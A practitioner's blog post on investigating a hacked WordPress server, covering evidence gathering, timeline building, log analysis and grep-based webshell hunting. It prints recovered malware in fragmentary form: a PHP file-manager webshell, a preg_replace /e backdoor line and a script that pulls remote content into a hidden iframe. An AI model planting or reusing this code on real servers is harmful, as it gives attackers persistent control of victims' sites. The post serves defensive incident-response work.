What to do when your PHP server gets hacked?

This is a story of a compromised linux web server I recently dealt with. New PHP files had appeared that had nothing to do with the wordpress application running on the server and for a specific user agent, all traffic was redirected to another site.

This is not a detailed forensics guide nor a step by step incident response procedure. It should rather provide you with some ideas on what you can do when your (linux) server gets hacked.

Disclaimer: Before reading this article, notice that there is an official wordpress FAQ on what to do when your server gets hacked.

Also, details of this article have been changed. This includes filenames and dates. The overall methodology and conclusions still stay valid.

1. The Beginning

After the first compromise, the administrator had already “disabled” all malicious files he detected, fixed the redirections and assumed everything was fine, until the server got hacked again shortly after. Everything was fixed again and this time also updated. Before transferring the application to a new machine, they decided somebody else should have a look at it.

So I had to do forensics on a system that was

  • still running in production
  • had been hacked at least twice
  • had already been modified substantially by the administrator

These are suboptimal conditions. As a disclaimer: My aim was not to create a legally valid chain of custody but to do a mixture of forensics, incident respone and fixing broken stuff as quick as possible without interrupting the running services. My goals were:

  1. Determine if the system was still compromised (and if yes, remove or block everything related to this)
  2. Detect if and which files were modified to avoid transferring infected files to a new host
  3. Ideally figure out which was the initial vector of compromise and make sure it is blocked

After I got the domain, IP and SSH credentials I went to work.

2. Gathering proof

Before connecting to the server I took note of my IP to make sure I would be able to differentiate it in the logs later.

I then connected via SFTP. Since the disks of the server were mounted and running I couldn’t take an image. So I downloaded all logfiles I could get as well as other files that seemed of interest. I copied the whole /var/log/ directory and also Apache specific logfiles from the directory where the virtual host root documents were placed. I copied the compromised PHP application and some backups that had been taken shortly after the incident. Unfortunately, there were no backups from the time between the first compromise and the changes made by the administrator, so some crucial files might already have been modified.

I fired up Kali and ran a nmap portscan as well as wpscan against the server. Since the server had been running an older Wordpress instance, and it was also this instance that did the redirect, it seemed likely that Wordpress had been the initial point of compromise. However, since Wordpress had already been updated after the hack, WPScan didn’t find any current vulnerabilities. The portscan yielded open ports for FTP, SSH, HTTP and HTTPS, which is nothing you wouldn’t expect on a web server. The attack could have also started at one of these services. However, the administrator had reported that all shells had been found under the wp-content directory which in a way hints towads an compromised Wordpress application.

I also checked VirusTotal to see if the site spread malware, but everything seemed fine.

I decided to log in to the system via console. I didn’t know if any of the binaries on the server were infected, so to minimize my impact I brought my own statically linked binaries. I downloaded coreutil-binaries from busybox and uploaded them on the server. I also uploaded chkrootkit and a tool called mac-robber from the SLEUTH Kit.

I used the static binaries to inspect the system, get a list of running processes, cronjobs etc. You can use

netstat -tulpen

for getting a list of listening (tcp and udp) processes (I didn’t cover all ports in the portscan, so the output here could have been interesting)


netstat -taupn

to show active outgoing connections (tcp and udp) from the server. However, both listing didn’t show suspicious activities.

The rootkit checker chkrootkit also didn’t find anything. rkhunter and clamav yielded no results (which doesn’t mean much, unfortunately. ClamAV missed the php shells as well as a windows trojan).

I began to look for something unusual manually but everything seemed clean so far: There were no unusal opened ports, no unusual processes running. I verified the FTP and SSH-Accounts with one of the administrators and they seemed ok. There was no sign of compromise at this level.

The mac-robber tool helped me to gather information of files created and modified on the server (which can later be used to create a timeline of the incident):

./mac-robber / > /root/forensics/timeline.txt

I now had:

  • info about which files had been created at which time on the server
  • various kind of log files, among them Apache logs
  • sourcecode of the compromised website including some (modified) shells
  • backups taken between the first and the second hack

After all, that’s not bad. Of course you might argue that this log data can’t be trusted since it might have also been modified by the attacker. But I yet had no reason to expect a sophisticated attack.

3. Closer examination

The administrator had already identified some of the webshells that had been placed by the attacker. I started to have a look at those. The files had cryptic names like Xjrop.phpNwfqx.php or Rwchn7.php (first letter always uppercase) and stuck out between the regular application files. However, there was also a file called up.phpwhich served a similiar purpose but had other source code. While Xjrop.phpNwfqx.php and Rwchn7.php were identical, up.php was another kind of shell with slightly different functionality. To compare two files I either diff’ed them with

diff Xjrop.php Nwfqx.php

or by comparing their md5 sum:

md5sum Xjrop.php
md5sum Nwfqx.php

There were also 2 files with cryptic names starting with lowercase like bjrnpf.phpand jemkwl.php. Those were identical as well but differed from the other files. An suspicious executable was named windoze.exe that I suspected to be some malware which might have been distributed from this host. I built the md5sum of this file and checked the hash at VirusTotal (Notice that uploaded files at VirusTotal can be seen by other researchers and are therefore public, so you shouldn’t upload potentially confidential stuff there and first check via hash if it’s already been analysed.) VirusTotal identified the file as trojan. I saved it for later analysis.

Some of the PHP shells looked like this:


    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
<link href="" rel="stylesheet" type="text/css">
    font-family: "Racing Sans One", cursive;
    background-color: #e6e6e6;
    text-shadow:0px 0px 1px #757575;
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
#content .first{
    background-color: silver;
#content .first:hover{
    background-color: silver;
    text-shadow:0px 0px 1px #757575;
    border: 1px #000000 dotted;
    font-family: "Rye", cursive;
    color: #000;
    text-decoration: none;
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
<H1><center>config root man</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
    $path = $_GET['path'];   
    $path = getcwd();
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
    if($pat == '') continue;
    echo '<a href="?path=';
        echo "$paths[$i]";
        if($i != $id) echo "/";
    echo '">'.$pat.'</a>/';
echo '</td></tr><tr><td>';
        echo '<font color="green">File Upload Done.</font><br />';
        echo '<font color="red">File Upload Error.</font><br />';
echo '<b><br>'.php_uname().'<br></b>';
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
                echo '<font color="green">Change Permission Done.</font><br />';
                echo '<font color="red">Change Permission Error.</font><br />';
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
    }elseif($_POST['opt'] == 'rename'){
                echo '<font color="green">Change Name Done.</font><br />';
                echo '<font color="red">Change Name Error.</font><br />';
            $_POST['name'] = $_POST['newname'];
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
    }elseif($_POST['opt'] == 'edit'){
            $fp = fopen($_POST['path'],'w');
                echo '<font color="green">Edit File Done.</font><br />';
                echo '<font color="red">Edit File Error.</font><br />';
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
    echo '</center>';
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
                echo '<font color="green">Delete Dir Done.</font><br />';
                echo '<font color="red">Delete Dir Error.</font><br />';
        }elseif($_POST['type'] == 'file'){
                echo '<font color="green">Delete File Done.</font><br />';
                echo '<font color="red">Delete File Error.</font><br />';
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
            $size = $size.' KB';

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
    echo '</table>
echo '<br />Man Man <br />
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;


You might notice the characteristic title “404-server!!”. Googling yields a few results of other probably infected servers:

404-server!! Sites

There were more suspicious files that contained a seemingly useless line of code:

<?php @preg_replace("/[pageerror]/e",$_POST['mkf3wapa'],"saft"); ?>

This line replaces every match of one of the (lowercase) letters of pageerror in the string “saft” with the content of the $_POST variable mkf3wapa. The return value is dismissed, so I’m not sure what the use of this snippet should be.

Googling, however, leads a bunch of results that suggest that this piece of code stays in connection with the 404-Server!! upload shell and appears on the same compromised servers. So if you find this code on your server, it might be an indicator of compromise and you should check further.


Examining the “404-Server!!” source code brought me to the conclusion that they provided a filebrowser with functionality to upload, view and delete files as well as adjusting permissions.

Checking the owner and group of the file showed that they were all created by the owner of the PHP process, so they were very likeley created by a compromised PHP application.

Another compromised file was called way.php. It just included a file from another server:


$way = 'http://XXX.XXX.XXX.XXX/dir/index.php?52b019b=l3SKfPrfJxjFGMeDebmtF_FXPAzaHkyZxYufiaWSHJmkaWD8jvT5Sknh_QTIT1XW_r4';

$fd = @file($way);

if ($fd !== false)

if (isset($fd[0]))

echo(' <iframe src="'.$fd[0].'" width="1" height="1" style="position:absolute;left:-1px;"></iframe> ');


So this was basically a method to include foreign html / javascript code under this domain. However, the malicious server showed us an interesting message:

no money

This might have been because we didn’t come with the correct referer-header or the server just doesn’t serve its malicious payload anymore.

In an html file we found:

<iframe src="way.php"></iframe>

Which just embeds the output of way.php in an iframe.

Looking for further shells

After these files had been identified because of their unsual filenames, I started grepping through the application code to look for more suspicious files. Especially, you might want to look for functions that execute commands on the server, e.g.:


and grep all files for these functions:

egrep -rin "system|passthru|exec|shell_exec|eval" /var/www/vhosts/xyz/  > ~/forensics/results_shell_grep.txt

You often see people grepping only for *.php files, but that might miss a lot. PHP files can have other extensions like *.php5, *.php4 or *.phps that might be missed when only checking *.php extensions. So if you can afford it in terms of size and ressources, better grep in all files or search beforehand if any of those other file endings are present. There may be also be malicious files with arbitrary extensions that are loaded by more regular looking php files, so you should also try to detect those.

However, note that this wouldn’t have detected neither obfuscated files nor the upload shells already present, since those didn’t execute code directly. You might extend your search for a little less suspicious functions with the risk of getting too many results:

fopen (especially with URLs)

If you have a rough idea when the compromise happened, you might also want to look for files that have been created or modified after that date. E.g. with

find -mtime -2 /directory

you recursively identify all files in /directory that have been modified 2 days ago or earlier. Depending on the regular changes taking place on your server files, you might easily detect additional shells in this way.

If you have already identified some malicious files, it also makes sense to look for further variants, using some characteristica of the detected files. E.g. checking all files for the string “404-server!!” might make sense if you find one of those 404-Server!!-Shells lying around.

Another method besides traditional AV scanners - is using yara based scanners like WebMalwareScanner from OWASP. These basically scan files and check them against yara rules for detecting malicious code. To do this, you need to install yara, the python bindings and WebMalwareScanner from git. In my case, running webmalewarescanner (on a different linux box) on the source code of the compromised PHP application yielded a lot of results and took some time but also correctly identified two of three types of webshells correctly.

root@DESKTOP-XXX:~# cat webmalwarescan_results.txt |grep "webshell"
[2017-08-01 09:24:56] Scan result for file /path/to/up.php : webshell iMHaPFtp 2

Also, there are wordpress plugins that try to detect compromise, like the one from sucuri. I didn’t want to install additional plugins on an already compromised system, so I didn’t try that one (yet), but it might be an option next time.

In my experience, you should always combine different techniques when looking for webshells. They are sometimes hard to spot and files that look legitimate at first glance might also have malicious functionality. The better you know the compromised system, the easier it is to detect files that shouldn’t be there.

Disabling compromised files

After having gathered all this information, do not forget to render the malicious files unusable. I had already removed read and execution rights for all users, but I would later delete them after the system had run for a while without noticable problems. No compromised files should be left on the system in case someone accidentally reactivates them.

Building a timeline

Having retrieved file information before with the mac-robber tool mentioned above, I used mactime to create a timeline out of this information.

mactime -b timeline.txt 2017-06-01 > timeline_output.txt

you then get a long list of entries that look like this:

Fri Jun 30 2017 15:43:02      308 .a.. -rw-r--r-- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php
Fri Jun 30 2017 15:51:55      308 m.c. -rw-r--r-- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php
Fri Jun 30 2017 16:07:47       31 m.c. -rw-r--r-- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/newmessage.html

This is a very helpful list of all files on the server, including owner id, group id, as well as timestamps for file modifications, access and changes.

Be aware, that on unix you typically get file access time, file change time and file modification time (atime, ctime, mtime). Those are displayed in the mactime timeline file in the column after the file size, e.g. m.c. in the second line in the example above. This means the given date shows the file modification and change time.

  • a is set when the file was accessed (atime)
  • c is set when the files content or permissions were changed (ctime)
  • m is set, when the files content where changed, not when owner or permissions change.
  • b would be set when the file was created. However, you ususally won’t see this. More on file creation time soon.

So mtime shows us when the file was last written to. However, we cannot be sure that this matches the file creation date, which is unfortunately not reconstructible here so we cannot be sure that this was the time of upload, but we can be sure that on Friday, Jul 07 the file was already present on the system. On linux, you can use the tool stat for showing these information for a single file.

There are some more subtelties with filesystems and file access and creation times. First, if your filesystem is mounted with the noatime option (you can figure this out by running the mount command) no access time is written. This increases speed, but obviously doesn’t make forensics easier. This was the case on the system I was examining.

Some positivie news is, however, is that depending on your filesystem, you might be able to figure out file creation time. Ext4 supports it and it is common on current linux servers. But there is no user tool to display it easily and mactime also doesn’t catch it. However, using debugfs you can retrieve the creation date. Igor Moiseev wrote a handy little script called xstat that does this.

Checking our timeline, we could figure out when the first malicious shell appeared on the system. It was several weeks before the time of the examination. Not a good sign.

Examining Logfiles

I could find some calls to these tools in the logs, mainly from asian IP adresses, but since POST data wasn’t logged, I couldn’t find out which files where uploaded through these shells from the apache log.

Looking for the initial attack vector

To see if we can identify the initial attack, I used apache-scalp. This is an older tool but still working. It basically matches the apache logfiles against known attack vectors via regular expressions.

/opt/apache-scalp/scalp# python scalp.py -l /path/to/logs/access_log.processed.1_plain -f /path/to/default_filter.xml -a lfi,rfi,sqli,dt -p "25/Jun/2017;05/Jul/2017" --output /root/scalp --html

However, there were no suspicious sql injection or lfi / rfi activities logged on or before the day of the incident which could be brought into relation with one of the suspicious files.

Checking the wordpress plugins showed that there was at least one SEO plugin installed that had a severe shell upload vulnerability some month ago. Since there were quite a lot of plugins installed, I wrote a little script to check the wordpress plugin dir against wpvulndb.com and show all vulnerabilities (- the system hasn’t been updated for some years). It turned out that there were so many severe vulnerabilities that it was quite impossible to track down the initial vector without adequate logging information.

[+] w3-total-cache
     * [UNKNOWN] W3 Total Cache - Username & Hash Extract
        Fixed in:
        + http://seclists.org/fulldisclosure/2012/Dec/242
        + https://github.com/FireFart/W3TotalCacheExploit
     * [RCE] W3 Total Cache - Remote Code Execution
        Fixed in:
        + http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/
        + http://wordpress.org/support/topic/pwn3d
        + http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html
     * [CSRF] W3 Total Cache 0.9.4 - Edge Mode Enabling CSRF
        Fixed in:
        + http://seclists.org/fulldisclosure/2014/Sep/29
     * [CSRF] W3 Total Cache <= 0.9.4 - Cross-Site Request Forgery (CSRF)
        Fixed in:

(Note that the script does not check the theme or wordpress core vulnerabilities, which could also have contained severe vulnerabilities.)

After that, I decided that I spent enough time to provide the client with an initial report and decide on further actions.

4. Results

So what did we figure out?

  • The system had already been compromised for some weeks. Earliest visible access on the shells in the apache logs had been at the beginning of July, roughly 3 weeks ago from the time of the examination.
  • We identified various compromised php files and a windows malware
  • There have been at least 3 types of shells and further files that were indicators of compromise
  • The windows malware probably hasn’t been spread, which is good
  • The server showed no obvious signs of deeper infections, so there was probably no local privilege escalation. User accounts seemed ok, no rootkits could be found, no further infected files than those we had initially identified.
  • Compromise was probably restricted on the webserver user / group. There were no signs of compromise for other users / services.
  • The initial vector had probably been one of the inumerous vulnerabilities in the outdated wordpress system.
  • There was no sign that the database or database credentials had been accessed through the shell by other users. However, we cannot exclude the possibility that there had been access to the db either.
  • Some probably malicious activities (shell access) originated from asian IPs

Besides cleaning the system from malicious files, we also applied some hardening procedures (changing passwords and certificates, installing a host ids, executing regular scans, putting the server under active monitoring for a week, …). Still, you never get 100% security. Especially when your server has already been compromised, the best you can do is to double check every script that you can’t restore from clean backups or official sources.

In reality, the story continued for quite a while after this initial analysis. So better keep your servers up to date, it’s way easier and less work than to deal with compromise afterwards.